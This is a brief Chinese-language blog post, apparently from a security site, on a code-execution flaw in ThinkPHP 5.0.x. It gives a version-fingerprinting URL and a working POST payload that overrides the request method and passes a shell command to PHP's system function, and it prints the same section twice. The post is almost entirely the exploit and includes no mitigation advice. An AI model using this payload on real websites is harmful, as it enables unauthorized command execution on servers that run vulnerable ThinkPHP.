ThinkPHP_5.0.13_代碼執行漏洞

2021年7月15日发布

010

# ThinkPHP 5.0.13 代碼執行漏洞

==影響版本==
ThinkPHP <= v5.0.19 ==漏洞利用==
通過報錯確定ThinkPHP版本：

http://127.0.0.1/tk5/public/index.php/111

==Payload==

http://127.0.0.1/tk5/public/index.php

post發送數據：

s=whoami&_method=__construct&method=&filter[]=system

==影響版本==
ThinkPHP <= v5.0.19 ==漏洞利用==

通過報錯確定ThinkPHP版本：

http://127.0.0.1/tk5/public/index.php/111

==Payload==

http://127.0.0.1/tk5/public/index.php

post發送數據：

s=whoami&_method=__construct&method=&filter[]=system

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧

请登录后查看评论内容

1会员必看手册（1.8.6版本 25.12.1更新）